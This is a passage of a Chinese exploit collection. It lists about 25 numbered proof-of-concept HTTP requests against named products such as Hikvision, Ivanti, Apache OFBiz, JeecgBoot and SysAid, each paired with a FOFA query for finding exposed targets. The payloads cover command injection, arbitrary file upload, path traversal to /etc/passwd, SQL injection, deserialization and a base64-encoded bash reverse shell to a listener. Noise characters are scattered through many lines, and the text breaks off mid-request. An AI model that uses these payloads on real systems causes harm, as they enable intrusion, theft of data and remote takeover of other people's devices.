" X1 f7 F0 L, E9 e9 {2 `$ i& {. E------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

hello1234567
& k4 \$ `. X, S' l6 X' F9 ^' Y3 g6 @------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
0 I: S5 e. P. f1 R, Y! ?
! j; k5 q) W; h7 J3 v3 g+ GSubmit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--

! G5 K* o0 U) c: ?1 d# `
- `/ t/ l  W% h1 P- H; R78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
1 E4 V+ K7 z& z8 `+ T8 aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; g& J' |3 h$ AConnection: close
Content-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
3 N- M( d) G3 @. S
# _: r7 f* n' c# X4 D+ S' ~------YsOxWxSvj1KyZow1PTsh98fdu6l
5 L6 Q7 u: d+ |9 SContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
' N- Z6 N7 U9 KContent-Type: image/png

& Q! ?1 q  h3 U+ I0 q+ |9 H' eYsOxWxSvj1KyZow1PTsh98fdu6l
5 `- _  q2 r/ c2 m% `# p% X8 F------YsOxWxSvj1KyZow1PTsh98fdu6l
$ i  y* t$ J# u# f+ V2 ?4 g; lContent-Disposition: form-data; name="target"

$ j! N! r6 |# c6 h& m6 E/ A' F/Applications/SkillDevelopAndEHS/
" O2 {( a4 X9 u0 H6 w" Y------YsOxWxSvj1KyZow1PTsh98fdu6l--
4 G7 T9 ?( C" R4 T
, G5 G( r! t: I$ y; n# U
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
$ N4 K, l# B7 `7 \Host: x.x.x.x

0 H1 B, D- `- A1 I1 K
# ^0 J2 @7 E- r  W+ U79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
  L( T0 r& e' N$ Q$ wGET /goform/webRead/open/?path=|id HTTP/1.1
2 ^) }: `2 W2 x) zHost:IP
: |) I  }  U0 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
  h4 L6 Y8 @8 ^5 VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 g7 U! U1 J3 S" ?+ a3 SAccept-Encoding: gzip, deflate
$ y. A4 A+ p& I/ m( I' }  ]5 \Connection: close
- j4 u, d' F) ]& VUpgrade-Insecure-Requests: 1
9 N3 T1 x# K4 G* Z6 U' R* I

80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
% V* ]* K, U" n6 k0 w6 CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 O. r( w2 R7 Z$ l" d3 A8 rContent-Length: 27
4 q) [! \3 P' g! Z9 y. A# l# tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
0 ?- t/ r: e6 X% _7 X) v: IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 O3 ?& T# `5 c( L- f4 ~Connection: close
4 u' v3 e' c- }* \+ fContent-Type: application/octet-stream
1 |! l$ Q* G! s! r* _4 k+ UUpgrade-Insecure-Requests: 1

8 {4 V' ]' y0 U0 @: S<% out.print("oessqeonylzaf");%>
& r$ B- B; ~3 Z6 h3 F0 d: p0 K

1 g( q& N/ r& v9 y8 }2 G3 OGET /xykqmfxpoas.jsp HTTP/1.1
+ u' V1 Q- i: i. [& X2 QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# n0 |8 k0 Z9 @* I* OConnection: close
Accept-Encoding: gzip
, I6 p7 u( R1 l  T8 m9 @, P

: q! A. C5 u3 u: |& p81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
7 p* ~9 O5 w- ]5 T! \FOFA：app="uniview-视频监控"
5 E$ _* n4 Y1 [; r) GGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
& B  Z$ V. d3 [! qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
; s5 c1 I- v1 l+ D" A8 U: s: h3 e" EAccept-Encoding: gzip

* f5 y$ i0 J2 V/ q) E1 ]
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
1 ~; Y2 z- |. s+ R- {3 gFOFA：app="思福迪-LOGBASE"
0 Y5 ^$ V5 [) j' U( n! T, \! i/ I# uPOST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
: [& }& u* I9 W! N( `% V2 jContent-Length: 23
Accept-Encoding: gzip
Connection: close
& C; t$ h" Q  ^# E* B+ t3 PContent-Type: application/x-www-form-urlencoded
0 W( W( t0 d+ l7 p! l5 qReferer: BaseURL
0 Q  S; x8 q2 t; c4 d
5 A) i% Z& R6 u' L# rz1=1&z2="|id;"&z3=bhost


3 j  P2 u7 a1 M  l: E3 w( V83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"

# x. k; c( E, V) U6 I$ v
POST /jmreport/testConnection HTTP/1.1
# ?2 q$ v( J# M6 ~7 g3 IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  k. ]6 v6 P# Y' o' [6 JConnection: close
0 D% [  d) _8 Y6 NContent-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json

PAYLOAD
$ }" G. e# c9 F  ]3 w
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"


7 o7 y- q" e0 V: i, N4 p! _; J
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
7 ]- W* N7 c5 n$ `! |4 RHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
2 i' p) I7 G- S- J1 ~/ VContent-Length: 156
  l0 I- a# X# E: t$ hAccept: */*
Connection: close
* O; X& O/ K6 ~5 \2 hContent-Type: application/json
* w! U- H% y% I, ~* Q7 ~/ _- hAccept-Encoding: gzip
6 t4 s5 k7 t* V; L8 x
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
. ^6 e$ _9 S/ S2 I. v  "type": "0"
, ^3 D; M0 U2 e! t' C4 @' \}

3 H4 Z/ D/ B7 |, H/ f: p5 [
3 S( q4 p+ u& B  }# t85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
  I; C% G  y6 l- p) qFOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: X: ~0 }6 s7 O! E5 n& h" b6 }Content-Type: application/octet-stream
Accept-Encoding: gzip

" D# P+ d/ A4 c: o( sPAYLOAD
  i) t9 Q% [4 E$ T: D; U* F& C) f& _
回显URL：http://x.x.x.x/userfiles/index.jsp
# ], Z( J$ a" x
+ c$ d5 z$ v) s- a: h5 E: A86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
$ D* S8 w7 K7 f3 @3 w" n1 g* B5 XPOST /cgi-bin/network_test.php HTTP/1.1
; o, V6 I9 K6 ~( ]Host: x.x.x.x
  Q2 J8 E5 {) w, E3 ?6 j2 M' nUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
+ E3 |2 {6 w( ]6 {5 x5 TConnection: close
+ K8 h' R* @! z" G4 ~1 }, rContent-Length: 44
Accept: */*
3 T" @4 K% p4 SAccept-Encoding: gzip
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
% b! k; Z, K6 p  p
6 s1 P, X8 P, T% A9 B$ Q! bhost=%0acat${IFS}/etc/passwd%0a&command=ping
* a+ Q9 f) V7 R  P/ @( d
6 Z6 N$ ]# r9 d& t- P& y0 D
/ M2 M4 X  g/ b1 \5 k% l87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
4 ?& p' j! p7 ^- q- ?Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 N! B& n3 }2 g, x; x; W! B& u) oConnection: close
+ ?" U7 t% d+ H" [7 c" h3 UContent-Length: 198
  Z5 a; ^0 a3 i! _. j+ X% ^' tAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

4 x4 D) {  d' e; X& x$ a$ k3 r--qqobiandqgawlxodfiisporjwravxtvd
% X8 G+ f. O; ^6 `; FContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
( n9 b/ h$ `& w) FContent-Type: text/plain

2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
. t4 ~9 X$ W' @! G/ H- |

/jfhatuwe.php
9 u9 P8 T" o8 l& }; z/ @0 ~3 R
* q% z) d& ^7 T  l  H88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
1 |( S! T9 Z) j4 G% K) t$ i% yFOFA：title="明御安全网关"
& _6 v! i6 R1 z& |8 ?6 cGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
8 [) u' L2 ~, F: v2 R$ r/ t$ NHost: x.x.x.xx.x.x.x
; F/ O* |. I) k  xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' }3 o0 y% c* ?3 l, B& LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ x" B% {* r. V5 Q/ sAccept-Encoding: gzip, deflate
/ z' B7 P# ]( k6 v0 CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
- A/ v: k; n' e6 X
( S# c0 W  _/ }2 H$ y9 O
/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
8 D1 @$ X. @, C) FPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
2 W3 E' ^2 i+ _: [: _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
) o5 }# e, d: A3 e; v' `! xContent-Type: application/x-www-form-urlencoded
& Y* M. v; f& O6 E" ]$ @. w8 J4 T6 EAccept-Encoding: gzip

( Z$ t# [, `9 k- E; ooption=2&GUID=-1'+union+select+111*222--+
: r7 {2 q8 S+ k7 g# z
2 j1 ~2 w& \/ W
0 G$ z$ ?9 B- F# n$ c' l! Q90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
' t- Y; s1 H' b; mPOST /php/ping.php HTTP/1.1
$ ^$ I' x3 ?$ J& |Host: x.x.x.x
1 Q. V  k& A% ^3 v: a2 Z6 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
7 K9 e/ h; y& B6 A- D" S; kContent-Length: 51
7 }8 v' b- W- ~( g8 z0 w! yAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
* ~  m$ f( i/ L( }/ l8 Z" ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
' Y9 k! ?% {4 i% \* P) JContent-Type: application/x-www-form-urlencoded
, Y  \; r  `1 _4 B  G  Q$ O3 NX-Requested-With: XMLHttpRequest
0 w8 d9 p, A/ a6 b, D
% D$ D4 i" X6 C" R+ S$ d+ U0 ~7 q3 tjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
1 m: i! Y5 ~; Z' G
- o& q' ~& [+ _  u  O" w2 z
+ S* [- v. ]) U0 U9 }% I' E: R; s91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
" _& G- G( l! V8 \$ d' T! h# l; \FOFA：title="综合安防管理平台"
; R9 {7 o, P& qGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
! ~/ t: p2 p# G7 R: R  ?8 [Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
+ \, d& A, Y1 r# iAccept-Encoding: gzip, deflate
Accept: */*
5 `$ y  M9 H1 @" C( E, G. _Connection: keep-alive
/ ^9 V8 {: R' G& D


4 e0 t! V! E% F0 Z- d92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
  q7 s/ @. e4 D$ ^! }POST /center/api/session HTTP/1.1
* m# {+ d# y9 e* o$ {* N0 vHost:
+ y  J( t  c' s# ?. t  W9 ~Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
6 W* _( O& a/ k4 ^5 A/ f' ?) xContent-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
4 I- {6 Z6 B- A; Z. mTestcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
, V6 t5 N7 y$ yAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
% G; {- p0 o! |+ T8 e
7 i3 g2 k. h/ Z- MPAYLOAD
$ r, a# f! _5 G1 n/ L

93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
" O# s/ T4 |5 ~) D: f# ]3 PPOST /?g=app_av_import_save HTTP/1.1
# R3 _$ z9 W8 d3 ^$ RHost: x.x.x.x
5 q( Q) A: Z8 ^! \9 M( lContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
9 @3 Y3 \6 C" a! ~8 {( rUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
* @& L7 x* @/ i# [" k
0 p9 D/ T2 \5 u7 l6 C, d  {5 b------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
2 o% a) d5 K3 O1 `$ S  n. G
10000000
------WebKitFormBoundarykcbkgdfx
1 |# R( R0 P% M& @4 B5 qContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

) x2 j, l9 h6 N# p5 l6 _: v. kwagletqrkwrddkthtulxsqrphulnknxa
0 j7 l3 I# Q1 F! R. @------WebKitFormBoundarykcbkgdfx
8 a9 g3 f2 ^, N3 k, C6 {8 Q1 N8 FContent-Disposition: form-data; name="submit_post"

! r0 |0 a, A5 F' n1 j% Iobj_app_upfile
8 @) ?7 I& z  }/ n+ _------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

: \9 L/ }) z  I6 Z7 @0b9d6b1ab7479ab69d9f71b05e0e9445
0 o  {  T. r8 m( @( Y2 F0 k' i# T8 Q2 M------WebKitFormBoundarykcbkgdfx--
  R) d! ^/ ~" U2 y+ q

7 t8 P1 C9 R% `GET /attachements/xlskxknxa.txt HTTP/1.1
* N; \. i" b. H- c' H% fHost: xx.xx.xx.xx
. w) a* U* p6 u, N- y0 _& w8 w& CUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
6 y0 i" C  ?/ ]5 D- f) h

94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
% D) a# ^) e! X, o. _+ D, [FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
7 i/ i( g: ]2 h; s# jPOST /?g=obj_area_import_save HTTP/1.1
' f) Y  h: ^8 D' A# |- \# o5 ~2 KHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
+ b1 x4 n) ^3 z" Q0 `9 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
. Y4 G8 B* S7 \( n4 n
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
+ |# i6 v% D  i! X+ m- Q
  m1 c) h: K; Q' n& I10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
5 ^0 G; H% ]5 o, K; r  }& x7 r5 ?Content-Type: text/plain
7 C/ N7 I2 y* o/ w/ a. x
! s! h* K+ g  d1 o& R) \pxplitttsrjnyoafavcajwkvhxindhmu
4 x$ w# U$ d0 K" r------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
5 }/ n9 y# t7 [6 N$ {' S------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

4 W% r8 l) R( c' ~8 ]: U0b9d6b1ab7479ab69d9f71b05e0e9445
7 E. c" W4 P" L) M; p------WebKitFormBoundarybqvzqvmt--


6 N- [; W/ R2 C) |4 M5 X
GET /attachements/xlskxknxa.txt HTTP/1.1
- e; N. q9 `( e4 |, xHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
7 j" z5 v, W% v. B% e* {
1 z! g0 a! O8 W8 O0 [* Z7 g7 o

95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
3 t/ x. P( S5 T7 h7 H( RCVE-2023-49070
FOFA：app="Apache_OFBiz"
$ C) T1 N. R2 q" l/ S* ?POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
6 w  i- N8 c, SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
0 q2 x- i7 w* O( v2 SConnection: close
# h. B' S, X# p' J9 b# t; m6 cContent-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
$ C$ U3 b) R' G' u
/ O5 X% L" O( f$ n- L! R<?xml version="1.0"?>
<methodCall>
( ~" ^9 T' y7 D" h9 B4 U  u   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
1 D7 ^1 F- ~7 c. P8 ]    <params>
      <param>
* T+ f5 B* C" i+ J      <value>
/ M" O. K* D$ H9 T% {, h        <struct>
       <member>
# D1 A; m4 `# V0 t; K) D          <name>test</name>
( m8 c2 l) H4 M: z2 v7 }+ I4 w          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
+ f$ Q( o6 R% W3 z. \: q        </member>
      </struct>
$ ?2 h  a* X0 F2 T  Z0 a9 j3 R0 X& R0 t* U      </value>
    </param>
( a2 Y# G3 B$ l; Q  i' L$ A8 b    </params>
( P& i/ y6 ]8 ?1 Z. C+ v</methodCall>
! _/ e9 k6 z+ N6 h5 `  F

/ X7 i) f  e2 T用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


- w4 \; _6 ]5 c" L- N7 B, b将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
4 ?' Q  |- p; I& W' [% r& U( ^9 ZHost: 192.168.40.130:8443
& m. D+ y) C% ~! x/ LUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

PAYLOAD
) f* X) q) c5 g* A2 i) R$ U
7 Q1 a: ^3 k" C( O: j96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
" a3 H5 c( W0 WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
/ R! I  @! b9 g: jContent-Length: 55
& S2 g( w. b' |# f  N
groovyProgram=throw+new+Exception('id'.execute().text);
9 i& O2 q6 r# Q! G* V, }' a4 s

反弹shell
: g4 S% `0 X+ C+ ^在kali上启动一个监听
nc -lvp 7777
+ _- U% a1 P: \$ d# M
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
/ R, }5 F' A' i4 d, o! q" {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! X0 }4 F" l+ nContent-Type: application/x-www-form-urlencoded
Content-Length: 71
- E0 z  Y8 \. ~; r
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
  w( Y: W% f+ v3 }0 K
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
4 A+ k) I4 U& ^, F9 DFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
1 L* Y% c9 ]: C& m  C( S# WGET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
! w7 a/ J- j4 I' kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
. ^% n" N5 {3 U9 q' h" WCookie: rememberMe=PAYLOAD
" O) p9 ?6 X( S, D" _; k; MX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


" V: w3 U9 F' Z, A1 d0 K- o( [3 I- K6 q6 n98. SpiderFlow爬虫平台远程命令执行
! t- ?7 c1 Z8 u) P2 |$ c3 M- ICVE-2024-0195
# d5 }1 g: s$ s& C$ |  XFOFA：app="SpiderFlow"
0 M  X5 E  Z1 V" cPOST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
- r8 x( J! v7 E4 b  H: VConnection: close
Content-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
* O! l, z! t' |) h/ k0 _
& Q* Y& U0 x* Jid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
# Z+ r" g7 n1 p- ]4 A8 ZFOFA：app="Ncast-产品" && title=="高清智能录播系统"
9 ]3 k; J, `9 k- |; g/ {POST /classes/common/busiFacade.php HTTP/1.1
: }6 f2 `2 Q' n; j! |Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
- }6 A, s/ J- xConnection: close
Content-Length: 154
Accept: */*
' i* c# Z: [: I2 I" iAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) l; `8 p, s& Q/ N/ A9 ~% EContent-Type: application/x-www-form-urlencoded; charset=UTF-8
! n* w' k3 t" Y1 ]( \6 c' z; YX-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
% g$ }7 B! ?2 q% c- G; {! l# C

9 B/ G) f. M1 Q9 ~100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
6 c. I; N+ n( m& S+ hFOFA：icon_hash="874152924"
- x# L: Q8 b- F% ~  V0 e& GPOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
* L5 [9 Y: P7 E  {. ZUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
+ X- J# M: j* FConnection: close
Content-Length: 201
& a: h% l( ?/ M% `Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

------WebKitFormBoundarygcflwtei
% r5 v7 K6 [. h5 o! {0 T9 NContent-Disposition: form-data; name="file";filename="IE4MGP.php"
" Q2 r) c* d- q  V) i6 ^2 D$ K, t4 UContent-Type: application/x-php
7 q% e$ [3 r8 w
$ w; b  w& q+ M8 O2ayyhRXiAsKXL8olvF5s4qqyI2O
* B6 I3 z2 h' V7 ^# e  e; e2 y------WebKitFormBoundarygcflwtei--


101. ivanti policy secure-22.6命令注入
+ m+ P8 Q) U" B/ H0 XCVE-2024-21887
- U$ U- _% \/ jFOFA：body="welcome.cgi?p=logo"
  @* B+ R% N& R0 r( KGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
9 M% l' Q8 b) J& a8 K5 QHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
4 ^' r: J+ \" x' r) ]2 J/ {  v: FAccept-Encoding: gzip

3 |+ U# F9 ]2 l9 E' O# N
2 \$ r" r8 M4 H( ]5 W9 j102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
( a' T, D  Z! CPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
7 Q. M* z0 B. F+ T0 n1 `/ iContent-Length: 792
Accept-Encoding: gzip

: n" }  K: a0 f" u+ e8 {<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 